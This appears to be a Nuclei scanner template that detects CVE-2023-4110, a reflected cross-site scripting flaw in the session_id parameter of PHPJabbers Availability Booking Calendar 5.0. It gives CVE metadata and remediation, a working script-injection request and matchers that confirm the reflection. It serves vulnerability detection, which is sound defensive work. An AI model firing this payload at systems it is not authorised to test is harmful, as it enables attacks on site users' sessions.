id: CVE-2023-4110

info:
  name: PHPJabbers Availability Booking Calendar 5.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability has been found in PHP Jabbers Availability Booking Calendar 5.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /index.php. The manipulation of the argument session_id leads to cross site scripting. The attack can be launched remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the session_id parameter, potentially stealing user session cookies and accessing sensitive booking information from the calendar system.
  remediation: |
    Update PHP Jabbers Availability Booking Calendar to a version newer than 5.0 that properly sanitizes the session_id parameter and encodes output.
  reference:
    - http://packetstormsecurity.com/files/173926/PHPJabbers-Availability-Booking-Calendar-5.0-Cross-Site-Scripting.html
    - https://vuldb.com/?id.235957
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4110
    - https://vuldb.com/?ctiid.235957
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4110
    cwe-id: CWE-79
    epss-score: 0.01766
    epss-percentile: 0.7586
    cpe: cpe:2.3:a:phpjabbers:availability_booking_calendar:5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: availability_booking_calendar
  tags: cve2023,cve,packetstorm,xss,phpjabber,jabber,phpjabbers,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?controller=pjFront&action=pjActionGetBookingForm&session_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&cid=1&view=1&month=7&year=2023&start_dt=&end_dt=&locale=&index=0"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "Booking", "Arrival", "><script>alert(document.domain)</script>")'
        condition: and
# digest: 490a004630440220173a37185ea37994aa93f36aecfa23921687dd8ab54d7fdcf413a63774fa8546022044ac7cd2f59038affff22ff8c41d32c7d130d6f30dcc72141d7b2d6578e56539:922c64590222798bb761d5b6d8e72950